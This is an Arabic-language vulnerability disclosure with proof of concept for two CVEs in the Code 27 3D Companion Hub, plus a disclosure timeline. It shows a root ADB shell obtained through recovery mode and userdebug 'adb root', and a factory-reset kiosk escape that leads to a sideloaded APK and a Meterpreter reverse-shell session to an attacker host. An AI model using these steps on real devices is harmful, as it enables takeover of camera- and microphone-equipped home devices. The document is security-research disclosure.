
إثبات المفهوم لـ CVE-2026-36027 و CVE-2026-36028
جهاز Code 27 3D Companion Hub هو جهاز مكتبي مادي يعرض شخصية ذكاء اصطناعي مخصصة (تُدعى "Codie") كرفيق ثلاثي الأبعاد مُتحرّك. يمكن للمستخدمين رفع أي نموذج ثلاثي الأبعاد أو إنشائه، ويتيح الذكاء الاصطناعي متعدد الوسائط للشخصية رؤية محيطها، وقراءة نبرة الصوت ولغة الجسد، وخوض محادثات مفتوحة النهاية.
يغطي هذا التقرير ثغرتين تتطلبان وصولًا ماديًا إلى الجهاز. تم التحقق من كلتيهما على الإصدار أدناه، وكلتاهما، وقت النشر، غير مصححتين.
| الحقل | القيمة |
|---|---|
| المنتج | Code 27 3D Companion Hub |
| إصدار واجهة Companion Hub | 1.2.0 |
| المعالج / اللوحة | Rockchip RK3588S (rk3588s_yt921) |
| نظام التشغيل | Android 12 |
| معرّف الإصدار | SQ3A.220705.003.A1 |
| البصمة الكاملة | rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys |
| نوع الإصدار | userdebug / release-keys |
البرنامج الثابت الذي يُشحن به الجهاز هو إصدار userdebug (يظهر في شريط وضع الاسترداد وفي ro.build.display.id). تسمح إصدارات userdebug بإعادة تشغيل adbd بصلاحيات الجذر عبر adb root، وهو عامل تمكين رئيسي لوجود CVE-2026-36027.
يمكن لمهاجم على مقربة جسدية من الجهاز إقلاع Companion Hub إلى وضع الاسترداد في Android والحصول على صدفة ADB بصلاحيات الجذر (uid=0, سياق SELinux u:r:su:s0). نظرًا لأن الجهاز يُشحن بإصدار userdebug، يمكن إعادة تشغيل adbd كجذر عبر adb root، مما يمنح المهاجم تفاعل قراءة/كتابة مع بيئة الاسترداد، والقدرة على تعداد خصائص الإصدار والعتاد، والوصول إلى وظائف الاسترداد (التحميل الجانبي sideload، fastboot، عمليات الأقسام).
الوصول الذي تم الحصول عليه يقع داخل ramdisk الخاصة بوضع الاسترداد، وليس في بيئة تشغيل Android الحية. أثناء الاختبار، فشل إجراء Mount /system في وضع الاسترداد (تعذّر على libfs_mgr فتح /dev/block/by-name/system)، لذا لم يتم تحميل قسم النظام مباشرة عبر هذا المسار، ولا يتم عرض بيئة المستخدم المُقلعة، بما فيها الكشك وأي بيانات مستخدم مفكوكة التشفير، في هذا الوضع.
لا يزال هذا مهمًا لأن وصول الجذر إلى بيئة الاسترداد هو الأساس لتعديل حالة الجهاز الدائمة (على سبيل المثال، الكتابة على الأقسام أو تطبيق حزمة تحديث مصمّمة خصيصًا) بحيث يمكن لشيفرة يتحكم بها المهاجم أن تعمل عند الإقلاع العادي التالي، مما يؤسس موطئ قدم على الجهاز الحي.
Mount /system، وحدده، ثم أكّد. سيبدو أن العملية فشلت. هذا متوقع، والاستغلال لا يزال يعمل. (يُظهر سجل الاسترداد فشل libfs_mgr في فتح /dev/block/by-name/system.)PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe devices
List of devices attached
YGKJ2601921S00193 recovery
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe root
restarting adbd as root
timeout expired while waiting for device
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe shell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),1078(ext_data_rw),1079(ext_obb_rw),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid),3012(readtracefs) context=u:r:su:s0
# getprop ro.build.display.id
rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys
# getprop ro.product.model
rk3588s_yt921
# getprop ro.build.version.release
12
# ls -la
total 840
drwxrwxrwt 33 root root 1040__bionic_open_tzdata: couldn't find any tzdata when looking for Asia/Shanghai!
1970-01-01 00:00 .
drwxrwxrwt 33 root root 1040 1970-01-01 00:00 ..
drwxr-xr-x 2 root root 40 1970-01-01 00:00 acct
drwxr-xr-x 2 root root 40 1970-01-01 00:00 apex
lrwxrwxrwx 1 root root 11 1970-01-01 00:00 bin -> /system/bin
lrwxrwxrwx 1 root root 50 1970-01-01 00:00 bugreports -> /data/user_de/0/com.android.shell/files/bugreports
drwxr-xr-x 2 root root 40 1970-01-01 00:00 cache
drwxr-xr-x 3 root root 0 1970-01-01 00:00 config
lrwxrwxrwx 1 root root 17 1970-01-01 00:00 d -> /sys/kernel/debug
drwxr-xr-x 2 root root 40 1970-01-01 00:00 data
drwxr-xr-x 2 root root 40 1970-01-01 00:00 data_mirror
drwxr-xr-x 2 root root 40 1970-01-01 00:00 debug_ramdisk
lrwxrwxrwx 1 root root 12 1970-01-01 00:00 default.prop -> prop.default
drwxr-xr-x 15 root root 1380 1970-01-01 00:00 dev
lrwxrwxrwx 1 root root 11 1970-01-01 00:00 etc -> /system/etc
lrwxrwxrwx 1 root root 16 1970-01-01 00:00 init -> /system/bin/init
-rwxr-x--- 1 root root 662 1970-01-01 00:00 init.recovery.rk30board.rc
drwxr-xr-x 2 root root 60 1970-01-01 00:00 linkerconfig
drwxr-xr-x 12 root root 4096 1970-01-01 00:00 metadata
drwxr-xr-x 8 root system 160 1970-01-01 00:00 mnt
drwxr-xr-x 2 root root 240 1970-01-01 00:00 odm
drwxr-xr-x 2 root root 60 1970-01-01 00:00 odm_dlkm
-rw-r--r-- 1 root root 0 1970-01-01 00:00 odm_file_contexts
-rw-r--r-- 1 root root 0 1970-01-01 00:00 odm_property_contexts
drwxr-xr-x 2 root root 40 1970-01-01 00:00 oem
drwxr-xr-x 3 root root 260 1970-01-01 00:00 pcba
-rw-r--r-- 1 root root 47253 1970-01-01 00:00 plat_file_contexts
-rw-r--r-- 1 root root 76958 1970-01-01 00:00 plat_property_contexts
drwxr-xr-x 2 root root 40 1970-01-01 00:00 postinstall
dr-xr-xr-x 220 root root 0 1970-01-01 00:00 proc
drwxr-xr-x 2 root root 40 1970-01-01 00:00 product
-rw-r--r-- 1 root root 0 1970-01-01 00:00 product_file_contexts
-rw-r--r-- 1 root root 0 1970-01-01 00:00 product_property_contexts
-rw-r--r-- 1 root root 14023 1970-01-01 00:00 prop.default
drwxr-xr-x 3 root root 60 1970-01-01 00:00 res
drwx------ 2 root root 40 2026-02-03 06:23 root
drwxr-xr-x 2 root root 60 1970-01-01 00:00 sbin
drwxr-xr-x 2 root root 40 1970-01-01 00:00 sdcard
drwxr-xr-x 2 root root 40 1970-01-01 00:00 second_stage_resources
-rw-r--r-- 1 root root 658375 1970-01-01 00:00 sepolicy
drwxr-xr-x 2 root root 40 1970-01-01 00:00 sideload
drwxr-x--x 2 root root 40 1970-01-01 00:00 storage
dr-xr-xr-x 14 root root 0 1970-01-01 00:00 sys
drwxr-xr-x 5 root root 100 1970-01-01 00:00 system
drwxr-xr-x 2 root root 40 1970-01-01 00:00 system_ext
-rw-r--r-- 1 root root 177 1970-01-01 00:00 system_ext_file_contexts
-rw-r--r-- 1 root root 1889 1970-01-01 00:00 system_ext_property_contexts
drwxrwxr-x 2 root shell 40 1970-01-01 00:00 tmp
drwxr-xr-x 3 root root 60 1970-01-01 00:00 vendor
drwxr-xr-x 2 root root 60 1970-01-01 00:00 vendor_dlkm
-rw-r--r-- 1 root root 25441 1970-01-01 00:00 vendor_file_contexts
-rw-r--r-- 1 root root 4395 1970-01-01 00:00 vendor_property_contexts
إعادة الضبط المصنعية التي تتم من قائمة الاسترداد تمسح قسم بيانات المستخدم (userdata)، حيث تُثبَّت تطبيقات الكشك. نظرًا لأن الكشك ليس جزءًا من قسم النظام، فإنه لا يُستعاد عند إعادة التشغيل، ويُقلع الجهاز إلى بيئة Android قياسية غير مقيدة (مشغّل التطبيقات، متصفح ويب، مدير ملفات، الإعدادات، وتطبيقات نظام أخرى).
من هذه البيئة غير المقيدة، يمكن للمهاجم إعادة تفعيل خيارات المطور/تصحيح أخطاء USB، وتحميل أي APK بشكل جانبي وتنفيذه للحصول على صدفة على نظام التشغيل الحي. أثناء الاختبار، أنتج هذا جلسة Meterpreter تعمل كمستخدم التطبيق غير المميّز u0_a79 — وهي صلاحيات وسياق بيانات مختلفان عن صدفة الجذر في وضع الاسترداد في CVE-2026-36027، لأنها تعمل على نظام التشغيل الحي المُقلع بدلًا من ramdisk الخاصة بوضع الاسترداد. الشيفرة التي تُزرع وتُشغَّل في هذه الحالة تُنفَّذ كجزء من التشغيل الطبيعي للجهاز، مما يمنح المهاجم تحكمًا تفاعليًا في الجهاز ونظام الملفات المتاح للمستخدم.
Wipe data/factory reset وأكّد المسح.
[*] Sending stage (72424 bytes) to 10.0.0.48
[*] Meterpreter session 2 opened (10.0.0.224:8000 -> 10.0.0.48:58094) at 2026-02-20 19:06:47 -0500
meterpreter > getuid
Server username: u0_a79
meterpreter > cd /
meterpreter > ls
Listing: /
==========
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 acct
040554/r-xr-xr-- 480 dir 1969-12-31 19:00:03 -0500 apex
040110/--x--x--- 8192 dir 2008-12-31 19:00:00 -0500 bin
000000/--------- 0 fif 1969-12-31 19:00:00 -0500 bugreports
040000/--------- 4096 dir 1969-12-31 19:00:04 -0500 cache
040554/r-xr-xr-- 0 dir 1969-12-31 19:00:00 -0500 config
040554/r-xr-xr-- 0 dir 1969-12-31 19:00:00 -0500 d
040110/--x--x--- 4096 dir 2026-02-03 01:27:34 -0500 data
040000/--------- 120 dir 1969-12-31 19:00:04 -0500 data_mirror
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 debug_ramdisk
040554/r-xr-xr-- 1760 dir 2026-02-03 01:27:34 -0500 dev
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 etc
100554/r-xr-xr-- 1997584 fil 2008-12-31 19:00:00 -0500 init
100000/--------- 463 fil 2008-12-31 19:00:00 -0500 init.environ.rc
040554/r-xr-xr-- 240 dir 1969-12-31 19:00:03 -0500 linkerconfig
040000/--------- 16384 dir 2008-12-31 19:00:00 -0500 lost+found
040554/r-xr-xr-- 4096 dir 1969-12-31 19:00:04 -0500 metadata
040554/r-xr-xr-- 360 dir 1969-12-31 19:00:05 -0500 mnt
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 odm
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 odm_dlkm
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 oem
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 postinstall
040554/r-xr-xr-- 0 dir 1969-12-31 19:00:02 -0500 proc
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 product
040776/rwxrwxrw- 3452 dir 2026-02-03 01:27:39 -0500 sdcard
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 second_stage_resources
040110/--x--x--- 80 dir 1969-12-31 19:00:04 -0500 storage
040554/r-xr-xr-- 0 dir 1969-12-31 19:00:02 -0500 sys
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:54 -0500 system
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 system_ext
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:54 -0500 vendor
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 vendor_dlkm
| التاريخ | الحدث |
|---|
| 2026-02-17 | تم الإفصاح عن الثغرتين لفريق Code 27 وتأكيدهما. |
| 2026-02-17 | تم الإبلاغ عن ثغرتي اليوم صفر إلى MITRE. |
| 2026-02-18 | ناقش فريق Code 27 خطة معالجة، وجمع معلومات إضافية، وذكر أنه سيتم إصلاحهما. |
| 2026-06-15 | خصصت MITRE المعرّفين CVE-2026-36027 وCVE-2026-36028. |
| 2026-06-15 | تم إشعار Code 27 بالتخصيص؛ وحوّلت جهة الاتصال الأولية المعلومات إلى الفريق الأمني لمراجعة الإصدار. |
| 2026-06-16 | طلب الفريق الأمني في Code 27 التفاصيل التقنية الكاملة، مجددًا. |
| 2026-06-17 | تم تزويد الفريق الأمني بالتفاصيل التقنية الكاملة، مجددًا. |
| 2026-06-18 | لا رد من الفريق الأمني. |
| 2026-06-19 | صرّح ممثل Code 27 بأن الشركات تُمنح عادةً 90 يومًا لحل المشكلات الأمنية وأن الفريق الأمني على علم بالأمر بالفعل. أُبلغ الممثل أن المشكلات أُبلغ عنها قبل أكثر من 120 يومًا. وتم تحديد موعد نهائي للإفصاح في 1 يوليو. |
| 2026-06-25 | تم التواصل مع الفريق الأمني في Code 27 لتأكيد التحذير النهائي بشأن الموعد النهائي والنشر. |
| 2026-06-28 | اعتذر Code 27، وأكد معرّفي CVE والموعد النهائي للإفصاح، وذكر أنه سيتم إرسال نشرة أمنية عامة ورابط قبل 1 يوليو. |
| 2026-07-01 | تم التواصل مع Code 27 للاستفسار عن حالة النشرة الأمنية؛ لا رد. |
| 2026-07-02 | نُشرت تفاصيل الثغرات غير المصححة. |